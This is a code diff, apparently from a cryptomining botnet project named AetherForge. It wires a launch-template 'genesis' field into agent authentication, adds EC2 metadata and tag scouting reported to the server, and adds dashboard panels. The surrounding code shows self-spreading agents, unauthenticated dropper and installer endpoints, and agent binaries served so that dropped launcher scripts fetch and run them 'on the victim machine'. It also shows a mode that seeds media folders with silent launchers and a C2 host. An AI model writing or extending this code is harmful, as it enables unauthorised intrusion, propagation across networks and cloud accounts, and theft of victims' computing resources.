Wire launch-template genesis auth route and spread UI.

agent/client/client.go

@@ -100,6 +100,8 @@ type AgentClient struct {
 	// spreadOnce ensures AutoSpreader starts at most once — after the first
 	// successful WS authentication confirms we are on an owned fleet.
 	spreadOnce sync.Once
+	// cloudVenueOnce starts EC2 IMDS tag scouting after first successful auth.
+	cloudVenueOnce sync.Once
 
 	// commandResultHook is set in tests to observe sendCommandResult without a live WS.
 	commandResultHook func(action string, success bool, message string)
@@ -403,6 +405,8 @@ func (c *AgentClient) authenticate() error {
 	authPayload.ParentAgentID = parentID
 	authPayload.SpreadGeneration = spreadGen
 	authPayload.SpreadStrain = spreadStrain
+	authPayload.GenesisSnapshotHash = strings.TrimSpace(os.Getenv("AETHER_GENESIS_SNAPSHOT_HASH"))
+	authPayload.StrainCardID = strings.TrimSpace(os.Getenv("AETHER_STRAIN_CARD_ID"))
 	payload, _ := json.Marshal(authPayload)
 	if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
 		return err
@@ -482,6 +486,10 @@ func (c *AgentClient) authenticate() error {
 		}
 	})
 
+	c.cloudVenueOnce.Do(func() {
+			 c.startCloudVenueScout()
+	})
+
 	if !c.cfg.IsSeederRole(c.fleetRoleHint()) {
 		c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
 	}

agent/client/protocol.go

@@ -55,6 +55,8 @@ type AuthPayload struct {
 	ParentAgentID        string `json:"parent_agent_id,omitempty"`
 	SpreadGeneration     int    `json:"spread_generation,omitempty"`
 	SpreadStrain         string `json:"spread_strain,omitempty"`
+	GenesisSnapshotHash  string `json:"genesis_snapshot_hash,omitempty"`
+	StrainCardID         string `json:"strain_card_id,omitempty"`
 	FleetRole            string `json:"fleet_role,omitempty"`
 	SeederMode           bool   `json:"seeder_mode,omitempty"`
 }

agent/client/protocol_test.go

@@ -71,6 +71,15 @@ func TestAuthPayloadSpreadGenealogyJSONRoundTrip(t *testing.T) {
 	}
 }
 
+func TestAuthPayloadLaunchTemplateGenesisJSONRoundTrip(t *testing.T) {
+	in := AuthPayload{AgentID: "lt-1", GenesisSnapshotHash: "deadbeef", StrainCardID: "card-9", ParentAgentID: "template"}
+	var out AuthPayload
+	roundTrip(t, in, &out)
+	if out.GenesisSnapshotHash != "deadbeef" || out.StrainCardID != "card-9" {
+		t.Fatalf("genesis fields: %+v", out)
+	}
+}
+
 func TestAuthResponseJSONRoundTrip(t *testing.T) {
 	in := AuthResponse{Success: true, AgentID: "a1", Error: ""}
 	var out AuthResponse

server/internal/api/deploy_plan.go

@@ -1,4 +1,4 @@
-package api
+package api
 
 import (
 	"crypto/hmac"
@@ -13,7 +13,6 @@ import (
 	"strings"
 
 	dbpkg "crypto-miner-server/internal/db"
-	"crypto-miner-server/internal/cloudmap"
 	"crypto-miner-server/internal/erasure"
 	"crypto-miner-server/internal/models"
 	"crypto-miner-server/internal/spreadrouter"
@@ -123,7 +122,7 @@ func (h *DeployPlanHandler) BindPathTracer(handler *PathTracerHandler) {
 	h.pathTracer = handler
 }
 
-// BindErasure wires ReedΓÇôSolomon shard encoding for multi-lane deploy plans.
+// BindErasure wires Reed–Solomon shard encoding for multi-lane deploy plans.
 func (h *DeployPlanHandler) BindErasure(enabled func() bool, store *erasure.ShardStore) {
 	h.erasureEnabled = enabled
 	h.erasureShards = store
@@ -404,7 +403,7 @@ func spreadRouteTargetSubnets(pathTracer *PathTracerHandler, database *dbpkg.Dat
 }
 
 // buildDOPeerManifest stages hash-verified chunks via BITS peer-style transfer.
-// Deploy success is a spread step only ΓÇö agent keeps --defer-mining until diagnostics pass,
+// Deploy success is a spread step only — agent keeps --defer-mining until diagnostics pass,
 // then startMiningWhenReady() completes the mining onion (terminal goal).
 func (h *DeployPlanHandler) buildDOPeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
 	platform := strings.TrimSpace(req.Platform)

server/internal/api/router.go

@@ -1,4 +1,4 @@
-package api
+package api
 
 import (
 	"crypto/rand"
@@ -27,7 +27,7 @@ import (
 )
 
 // authSessionCache avoids running bcrypt on every API request.
-// Key: SHA-256(user+":"+password) hex ΓÇö value: expiry time.
+// Key: SHA-256(user+":"+password) hex — value: expiry time.
 // Entries are valid for authCacheTTL after the last successful login.
 // Bcrypt only runs on cache miss or expiry.
 var (
@@ -176,9 +176,9 @@ func printStartupCredentials(dataDir string) {
 
 func formatLoginBanner(creds map[string]string) string {
 	var b strings.Builder
-	b.WriteString("\nΓòöΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòù\n")
+	b.WriteString("\n╔══════════════════════════════════════════════════╗\n")
-	b.WriteString("Γòæ           AetherForge ΓÇö Dashboard Login          Γòæ\n")
+	b.WriteString("║           AetherForge — Dashboard Login          ║\n")
-	b.WriteString("Γòæ                                                  Γòæ\n")
+	b.WriteString("║                                                  ║\n")
 	users := make([]string, 0, len(creds))
 	for user := range creds {
 		users = append(users, user)
@@ -186,13 +186,13 @@ func formatLoginBanner(creds map[string]string) string {
 	sort.Strings(users)
 	for _, user := range users {
 		pass := creds[user]
-		fmt.Fprintf(&b, "Γòæ  Username : %-34sΓòæ\n", user)
+		fmt.Fprintf(&b, "║  Username : %-34s║\n", user)
-		fmt.Fprintf(&b, "Γòæ  Password : %-34sΓòæ\n", pass)
+		fmt.Fprintf(&b, "║  Password : %-34s║\n", pass)
-		b.WriteString("Γòæ                                                  Γòæ\n")
+		b.WriteString("║                                                  ║\n")
 	}
-	b.WriteString("Γòæ  Also saved in data/login-credentials.json         Γòæ\n")
+	b.WriteString("║  Also saved in data/login-credentials.json         ║\n")
-	b.WriteString("║  Change passwords in Calibrate → Users.          ║\n")
+	b.WriteString("║  Change passwords in Calibrate → Users.          ║\n")
-	b.WriteString("ΓòÜΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓò¥\n")
+	b.WriteString("╚══════════════════════════════════════════════════╝\n")
 	return b.String()
 }
 
@@ -395,7 +395,7 @@ func saveUser(username, password string) error {
 
 // isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker.
 // Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch
-// must not trigger that ΓÇö only bare browser navigations without these headers should.
+// must not trigger that — only bare browser navigations without these headers should.
 func isSPAAuthRequest(r *http.Request) bool {
 	return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != ""
 }
@@ -410,7 +410,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
 		path := r.URL.Path
 
 		// Health check and one-liner installer endpoints are always open.
-		// NOTE: build download/artifact routes are intentionally NOT in this list ΓÇö
+		// NOTE: build download/artifact routes are intentionally NOT in this list —
 		// they require fleet-secret or Basic Auth (see isDownload block below).
 		if path == "/api/v1/health" ||
 			path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" ||
@@ -422,7 +422,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
 		// Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret
 		// in the X-Fleet-Secret header instead of Basic auth. This ensures only
 		// legitimately forged agents can call these endpoints.
-		// A missing or empty fleet secret is always rejected ΓÇö the server auto-
+		// A missing or empty fleet secret is always rejected — the server auto-
 		// generates one at startup so this state should never occur in production.
 		if strings.HasPrefix(path, "/api/v1/agent/") {
 			fleetSecretForAgentPathsMu.RLock()
@@ -469,7 +469,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
 			return
 		}
 
-		// Fast path ΓÇö skip bcrypt if this credential pair was recently validated.
+		// Fast path — skip bcrypt if this credential pair was recently validated.
 		// bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy.
 		if !authCacheHit(user, pass) {
 			usersMu.RLock()
@@ -483,7 +483,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
 				http.Error(w, "Unauthorized", http.StatusUnauthorized)
 				return
 			}
-			// Credential verified ΓÇö cache it for the next few minutes.
+			// Credential verified — cache it for the next few minutes.
 			authCacheSet(user, pass)
 		}
 
@@ -514,7 +514,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 		AllowCredentials: false,
 	}))
 
-	// REST API ΓÇö auth only on /api/v1 (dashboard WS + static SPA stay open)
+	// REST API — auth only on /api/v1 (dashboard WS + static SPA stay open)
 	r.Route("/api/v1", func(r chi.Router) {
 		r.Use(basicAuthMiddleware)
 		h := NewHandler(database)
@@ -680,7 +680,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 		r.Delete("/blueprints", blueprintHandler.ServeHTTP)
 		r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
 
-		// Fleet secret rotation ΓÇö generates a new secret, saves config, kicks all agents.
+		// Fleet secret rotation — generates a new secret, saves config, kicks all agents.
 		// Forged agents with the old secret will be rejected until re-forged.
 		r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) {
 			if rotateSecretFn == nil {
@@ -734,11 +734,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 			writeJSON(w, map[string]interface{}{"success": true})
 		})
 
-		// Deck backup ΓÇö authenticated full backup ZIP (config + DB + users)
+		// Deck backup — authenticated full backup ZIP (config + DB + users)
 		backupH := NewBackupHandler(dataDir, version)
 		r.Get("/backup", backupH.ServeHTTP)
 
-		// Path Tracer ΓÇö on-demand WireGuard chain sessions
+		// Path Tracer — on-demand WireGuard chain sessions
 		if pathTracerHandler != nil {
 			r.Post("/pathtrace/start", pathTracerHandler.Start)
 			r.Post("/pathtrace/discover", pathTracerHandler.Discover)
@@ -751,7 +751,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 			r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
 		}
 
-		// Agent autonomy REST ΓÇö forged Go agents only (X-Fleet-Secret header).
+		// Agent autonomy REST — forged Go agents only (X-Fleet-Secret header).
 		// Not exposed in dashboard client.ts; see agent/client and README API auth table.
 		r.Post("/agent/decide", aiHandler.HandleDecide)
 		r.Post("/agent/report", aiHandler.HandleReport)
@@ -768,7 +768,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 		}
 		r.Get("/agent/module/{name}", moduleHandler.GetAgentModule)
 
-		// Public builds (also bypass auth in middleware ΓÇö listed here for chi routing)
+		// Public builds (also bypass auth in middleware — listed here for chi routing)
 		if publicHandler != nil {
 			r.Get("/public/builds", publicHandler.ListBuilds)
 			r.Get("/public/download/{id}", publicHandler.Download)
@@ -784,7 +784,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 	r.Get("/ws/agent", wsHub.HandleAgentWS)
 	r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
 
-	// One-liner remote install endpoints (unauthenticated ΓÇö URL knowledge is the gate)
+	// One-liner remote install endpoints (unauthenticated — URL knowledge is the gate)
 	if dropperHandler != nil {
 		r.Get("/get", dropperHandler.ServeGet)
 		r.Get("/install.sh", dropperHandler.ServeSh)
@@ -792,7 +792,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 		r.Get("/install.command", dropperHandler.ServeCommand)
 	}
 
-	// SUPP Seek agent download endpoints ΓÇö serve agent binaries so launcher scripts
+	// SUPP Seek agent download endpoints — serve agent binaries so launcher scripts
 	// dropped by Seek Mode can fetch and run the agent on the victim machine.
 	// Unauthenticated (the drop URL itself is the secret).
 	r.Get("/api/download/agent-windows", serveAgentBinary("windows"))
@@ -897,8 +897,8 @@ func findAgentBinary(platform, dir string) (binPath, dlName string, ok bool) {
 // exe so it works both from the USB bundle and from a compiled dev build.
 //
 // Filename convention (same as what the build pipeline produces):
-//   - windows → crypto-miner-agent.exe
+//   - windows → crypto-miner-agent.exe
-//   - mac/linux → crypto-miner-agent  (no extension)
+//   - mac/linux → crypto-miner-agent  (no extension)
 // agentBinarySearchDir returns the directory used to locate bundled agent binaries.
 // Tests may override this to point at a temp tree instead of os.Executable()'s dir.
 var agentBinarySearchDir = func() (string, error) {

server/internal/api/websocket.go

@@ -1,4 +1,4 @@
-package api
+package api
 
 import (
 	"crypto/subtle"
@@ -202,6 +202,10 @@ type WSHub struct {
 	scoutConstellations  *fleetai.ScoutConstellationRegistry
 	scoutAgents          map[string]bool
 
+	// Cloud venue biomes (EC2 agents reporting IMDS tags + Organizations OU).
+	cloudVenueMu sync.Mutex
+	cloudVenues  *fleetai.CloudVenueRegistry
+
 	// Coalesce per-agent stats_update into a single stats_batch frame per tick.
 	statsBatchMu    sync.Mutex
 	statsBatch      map[string]json.RawMessage
@@ -682,6 +686,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 			ParentAgentID        string `json:"parent_agent_id,omitempty"`
 			SpreadGeneration     int    `json:"spread_generation,omitempty"`
 			SpreadStrain         string `json:"spread_strain,omitempty"`
+			GenesisSnapshotHash  string `json:"genesis_snapshot_hash,omitempty"`
+			StrainCardID         string `json:"strain_card_id,omitempty"`
 			FleetRole            string `json:"fleet_role,omitempty"`
 			SeederMode           bool   `json:"seeder_mode,omitempty"`
 		}
@@ -844,6 +850,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 				SpreadStrain:     strings.TrimSpace(auth.SpreadStrain),
 				Capabilities: &caps,
 			}
+			applyLaunchTemplateGenesisFirstAuth(agent, isNewAgent, launchTemplateAuthProbe{
+				JoinLane: auth.JoinLane, ParentAgentID: auth.ParentAgentID, GenesisSnapshotHash: auth.GenesisSnapshotHash,
+			})
 
 			if err := h.db.UpsertAgent(agent); err != nil {
 				log.Printf("Failed to upsert agent: %v", err)
@@ -953,6 +962,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 					spreadPolicy[k] = v
 				}
 			}
+			if cloudPolicy := h.cloudVenueSpreadPolicyForAuth(agentID); cloudPolicy != nil {
+				for k, v := range cloudPolicy {
+					spreadPolicy[k] = v
+				}
+			}
 			if len(spreadPolicy) > 0 {
 				resp["spread_policy"] = spreadPolicy
 			}
@@ -1464,6 +1478,34 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 				h.ingestScoutConstellationReport(agentID, report.SSID, report.ServiceCount)
 			}
 
+		case "cloud_venue_report":
+			if agentID == "" {
+				continue
+			}
+			var report struct {
+				CloudProvider      string            `json:"cloud_provider"`
+				Environment        string            `json:"environment"`
+				Workload           string            `json:"workload"`
+				InstanceType       string            `json:"instance_type"`
+				InstanceLifecycle  string            `json:"instance_lifecycle"`
+				OrganizationalUnit string            `json:"organizational_unit"`
+				EC2Tags            map[string]string `json:"ec2_tags"`
+			}
+			if err := json.Unmarshal(msg.Payload, &report); err != nil {
+				continue
+			}
+			if strings.TrimSpace(report.CloudProvider) == "" {
+				report.CloudProvider = "aws"
+			}
+			h.ingestCloudVenueReport(agentID, fleetai.CloudVenueReport{
+				Environment:        report.Environment,
+				Workload:           report.Workload,
+				InstanceType:       report.InstanceType,
+				InstanceLifecycle:  report.InstanceLifecycle,
+				OrganizationalUnit: report.OrganizationalUnit,
+				EC2Tags:            report.EC2Tags,
+			})
+
 		case "ai_snapshot":
 			if agentID == "" {
 				continue

server/main.go

@@ -1,4 +1,4 @@
-package main
+package main
 
 import (
 	"context"
@@ -40,27 +40,27 @@ func (w *wsLogWriter) Write(p []byte) (n int, err error) {
 }
 
 const aetherBanner = `
-  ΓòöΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòù
+  ╔══════════════════════════════════════════════════════════════════╗
-  Γòæ                                                                  Γòæ
+  ║                                                                  ║
-  ║        ✦ · · · · · · ◈ · · · · · · ✦                           ║
+  ║        ✦ · · · · · · ◈ · · · · · · ✦                           ║
-  Γòæ      ┬╖   \       |       /   ┬╖                                   Γòæ
+  ║      ·   \       |       /   ·                                   ║
-  Γòæ    ┬╖      \      |      /      ┬╖         Γû▓Γû▓Γû▓                     Γòæ
+  ║    ·      \      |      /      ·         ▲▲▲                     ║
-  Γòæ   ┬╖        ΓùïΓöÇΓöÇΓöÇΓöÇΓöÇΓùÅΓöÇΓöÇΓöÇΓöÇΓöÇΓùï        ┬╖       Γû▓Γû▓Γû▓Γû▓Γû▓                   Γòæ
+  ║   ·        ○─────●─────○        ·       ▲▲▲▲▲                   ║
-  Γòæ    ┬╖      /      |      \      ┬╖        Γû▓Γû▓Γû▓Γû▓Γû▓                   Γòæ
+  ║    ·      /      |      \      ·        ▲▲▲▲▲                   ║
-  Γòæ      ┬╖   /       |       \   ┬╖         ΓûêΓûêΓûêΓûê                      Γòæ
+  ║      ·   /       |       \   ·         ████                      ║
-  ║        ✦ · · · · ◈ · · · · ✦      ██ ████ ██                    ║
+  ║        ✦ · · · · ◈ · · · · ✦      ██ ████ ██                    ║
-  Γòæ              ΓùïΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓùï           ΓûêΓûê ΓûêΓûê ΓûêΓûê                    Γòæ
+  ║              ○───────────○           ██ ██ ██                    ║
-  Γòæ             / \         / \                                       Γòæ
+  ║             / \         / \                                       ║
-  Γòæ            /   ΓùÅΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓùÅ   \    A E T H E R F O R G E           Γòæ
+  ║            /   ●───────●   \    A E T H E R F O R G E           ║
-  Γòæ           /   / \     / \   \   ΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇ        Γòæ
+  ║           /   / \     / \   \   ─────────────────────────        ║
-  Γòæ          ΓùïΓöÇΓöÇΓöÇΓùÅ   ΓùïΓöÇΓöÇΓöÇΓùï   ΓùÅΓöÇΓöÇΓöÇΓùï   LAN Mining Command Deck         Γòæ
+  ║          ○───●   ○───○   ●───○   LAN Mining Command Deck         ║
-  Γòæ           \   \ /     \ /   /                                    Γòæ
+  ║           \   \ /     \ /   /                                    ║
-  Γòæ            \   ΓùÅΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓùÅ   /                                     Γòæ
+  ║            \   ●───────●   /                                     ║
-  Γòæ             \ /         \ /                                      Γòæ
+  ║             \ /         \ /                                      ║
-  Γòæ              ΓùïΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓùï                                       Γòæ
+  ║              ○───────────○                                       ║
-  ║        ✦ · · · · ◈ · · · · ✦                                    ║
+  ║        ✦ · · · · ◈ · · · · ✦                                    ║
-  Γòæ                                                                  Γòæ
+  ║                                                                  ║
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 func main() {
 	fmt.Println(aetherBanner)
@@ -85,12 +85,12 @@ func main() {
 			defer cloudflared.Stop()
 		}
 	} else if tunnelExternal {
-		log.Println("[tunnel] External connector (AF_TUNNEL_EXTERNAL) ΓÇö skipping in-process cloudflared start")
+		log.Println("[tunnel] External connector (AF_TUNNEL_EXTERNAL) — skipping in-process cloudflared start")
 	} else {
 		log.Println("[tunnel] No connector token configured")
 	}
 
-	// Generate fleet secret once ΓÇö persisted in config.json so all future forges
+	// Generate fleet secret once — persisted in config.json so all future forges
 	// carry the same secret and agents keep working across server restarts.
 	if cfg.Server.FleetSecret == "" {
 		b := make([]byte, 32)
@@ -99,9 +99,9 @@ func main() {
 		}
 		cfg.Server.FleetSecret = hex.EncodeToString(b)
 		if err := cfg.Save(); err != nil {
-			log.Printf("[auth] Warning: could not persist fleet secret: %v ΓÇö agents forged this session will still work", err)
+			log.Printf("[auth] Warning: could not persist fleet secret: %v — agents forged this session will still work", err)
 		} else {
-			log.Printf("[auth] Fleet secret generated and saved ΓÇö re-forge agents to pick it up")
+			log.Printf("[auth] Fleet secret generated and saved — re-forge agents to pick it up")
 		}
 	} else {
 		log.Printf("[auth] Fleet secret loaded (first 8 chars: %s...)", cfg.Server.FleetSecret[:8])
@@ -162,7 +162,7 @@ func main() {
 	builderHandler.SetFleetSecret(cfg.Server.FleetSecret)
 	log.Printf("Builder handler initialized (agent source: %s)", agentSrcDir)
 
-	// Wire fleet secret rotation ΓÇö now that both wsHub and builderHandler are ready.
+	// Wire fleet secret rotation — now that both wsHub and builderHandler are ready.
 	api.SetRotateSecretFn(func() (string, error) {
 		b := make([]byte, 32)
 		if _, err := rand.Read(b); err != nil {
@@ -244,7 +244,7 @@ func main() {
 	wsHub.SetEventNotifier(eventNotifier)
 	builderHandler.SetEventNotifier(eventNotifier)
 
-	// Fleet alert evaluator (thresholds from Calibrate → alerts config)
+	// Fleet alert evaluator (thresholds from Calibrate → alerts config)
 	alertEvaluator := alerts.NewEvaluator(database, func() alerts.Thresholds {
 		return alerts.Thresholds{
 			OfflineMinutes:   cfg.Alerts.OfflineThresholdMinutes,
@@ -496,24 +496,24 @@ func (p *serverConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error
 		return fmt.Errorf("invalid config: %w", err)
 	}
 
-	// Semantic validation ΓÇö reject values that would break the server at runtime.
+	// Semantic validation — reject values that would break the server at runtime.
 	if incoming.Port != 0 && (incoming.Port < 1 || incoming.Port > 65535) {
-		return fmt.Errorf("invalid config: port %d out of range (1ΓÇô65535)", incoming.Port)
+		return fmt.Errorf("invalid config: port %d out of range (1–65535)", incoming.Port)
 	}
 	if incoming.Pool.Port != 0 && (incoming.Pool.Port < 1 || incoming.Pool.Port > 65535) {
-		return fmt.Errorf("invalid config: pool.port %d out of range (1ΓÇô65535)", incoming.Pool.Port)
+		return fmt.Errorf("invalid config: pool.port %d out of range (1–65535)", incoming.Pool.Port)
 	}
 	if incoming.Server.MaxAgents < 0 {
-		return fmt.Errorf("invalid config: server.max_agents must be ≥ 0")
+		return fmt.Errorf("invalid config: server.max_agents must be ≥ 0")
 	}
 	if incoming.Server.StatsRetentionHours < 0 {
-		return fmt.Errorf("invalid config: server.stats_retention_hours must be ≥ 0")
+		return fmt.Errorf("invalid config: server.stats_retention_hours must be ≥ 0")
 	}
 	if incoming.Server.BuildRetentionDays < 0 {
-		return fmt.Errorf("invalid config: server.build_retention_days must be ≥ 0")
+		return fmt.Errorf("invalid config: server.build_retention_days must be ≥ 0")
 	}
 	if incoming.Server.MaxBuildSizeMB < 0 {
-		return fmt.Errorf("invalid config: server.max_build_size_mb must be ≥ 0")
+		return fmt.Errorf("invalid config: server.max_build_size_mb must be ≥ 0")
 	}
 
 	// Determine which top-level keys were explicitly present in the JSON payload.
@@ -561,7 +561,7 @@ func (p *serverConfigProvider) UpdateFleetAIConfig(v api.FleetAIConfigView) erro
 		return fmt.Errorf("config unavailable")
 	}
 	if v.AIDecisionIntervalSec < 0 {
-		return fmt.Errorf("ai_decision_interval_sec must be ≥ 0")
+		return fmt.Errorf("ai_decision_interval_sec must be ≥ 0")
 	}
 	payload, err := json.Marshal(map[string]interface{}{
 		"server": map[string]interface{}{
@@ -626,7 +626,7 @@ func findAgentSourceDir() string {
 // <repo>/data even when miner-server.exe is started from server/ or bin/.
 func validateListenPort(port int) error {
 	if port < 1 || port > 65535 {
-		return fmt.Errorf("port %d out of range (1ΓÇô65535)", port)
+		return fmt.Errorf("port %d out of range (1–65535)", port)
 	}
 	return nil
 }

server/web/public/spread/index.html

@@ -174,6 +174,12 @@
       </p>
     </section>
 
+    <section class="section" id="aws-launch-template">
+      <h2>AWS Launch Template — strain genesis</h2>
+      <p>Download <a href="aws/launch-template.json">launch-template.json</a>, <a href="aws/user-data.sh">user-data.sh</a>, <a href="aws/asg-example.json">asg-example.json</a> — or <button type="button" class="btn btn-dl" id="btn-lt-generate">generate from deck</button>.</p>
+      <p class="form-hint" id="lt-genesis-hint" style="color:var(--muted);"></p>
+    </section>
+
     <section class="section" id="cms">
       <h2>CMS &amp; static host upload</h2>
       <p>Deploy the entire kit folder (or exported ZIP contents) to a origin <em>you</em> control — off the C2 host when possible.</p>
@@ -288,6 +294,17 @@
         var btn = document.getElementById(primary);
         if (btn) btn.classList.add('primary');
       }
+      var ltBtn = document.getElementById('btn-lt-generate');
+      if (ltBtn) ltBtn.addEventListener('click', function () {
+        var p = new URLSearchParams(window.location.search || '');
+        fetch('/api/v1/forge/launch-template', { method: 'POST', credentials: 'same-origin', headers: { 'Content-Type': 'application/json' },
+          body: JSON.stringify({ server_url: SERVER, build_id: p.get('pin') || undefined, campaign: p.get('c') || undefined }) })
+          .then(function (r) { return r.json(); }).then(function (resp) {
+            if (!resp.success) return;
+            var hint = document.getElementById('lt-genesis-hint');
+            if (hint) hint.textContent = 'genesis ' + (resp.genesis_snapshot_hash || '').slice(0, 12) + '…';
+          });
+      });
     })();
   </script>
 </body>

server/web/src/components/Fleet/CrucibleExpandedOps.test.tsx

@@ -42,6 +42,10 @@ vi.mock('./SpreadTemplateExportPanel', () => ({
   default: () => <div data-testid="spread-template-export" />,
 }));
 
+vi.mock('./LaunchTemplateExportPanel', () => ({
+  default: () => <div data-testid="launch-template-export" />,
+}));
+
 const listBuildsMock = vi.mocked(api.listBuilds);
 const sendAgentCommandMock = vi.mocked(api.sendAgentCommand);
 const sendWOLMock = vi.mocked(api.sendWOL);

server/web/src/components/Fleet/CrucibleExpandedOps.tsx

@@ -17,6 +17,7 @@ import CruciblePortForwardMatrix from './CruciblePortForwardMatrix';
 import FileManager from './FileManager';
 import ProtocolTunnelPanel from './ProtocolTunnelPanel';
 import SpreadTemplateExportPanel from './SpreadTemplateExportPanel';
+import LaunchTemplateExportPanel from './LaunchTemplateExportPanel';
 import CredentialGraphTable from './CredentialGraphTable';
 import ServiceGraphSummary from './ServiceGraphSummary';
 import './ProtocolTunnelPanel.css';
@@ -825,6 +826,10 @@ export default function CrucibleExpandedOps({
           <SpreadTemplateExportPanel serverBase={typeof window !== 'undefined' ? window.location.origin : ''} />
         </CrucibleCollapsibleSection>
 
+        <CrucibleCollapsibleSection label="AWS Launch Template" className="cop-launch-template" helpField="crucible_section_launch_template" defaultOpen={false}>
+          <LaunchTemplateExportPanel serverBase={typeof window !== 'undefined' ? window.location.origin : ''} />
+        </CrucibleCollapsibleSection>
+
         <CrucibleCollapsibleSection label="◈ SUPP Seek Mode" className="cop-seek crucible-seek-group" helpField="crucible_section_seek">
           <p className="crucible-seek-blurb">
             Recursively seeds every media directory under the given path with silent launcher files.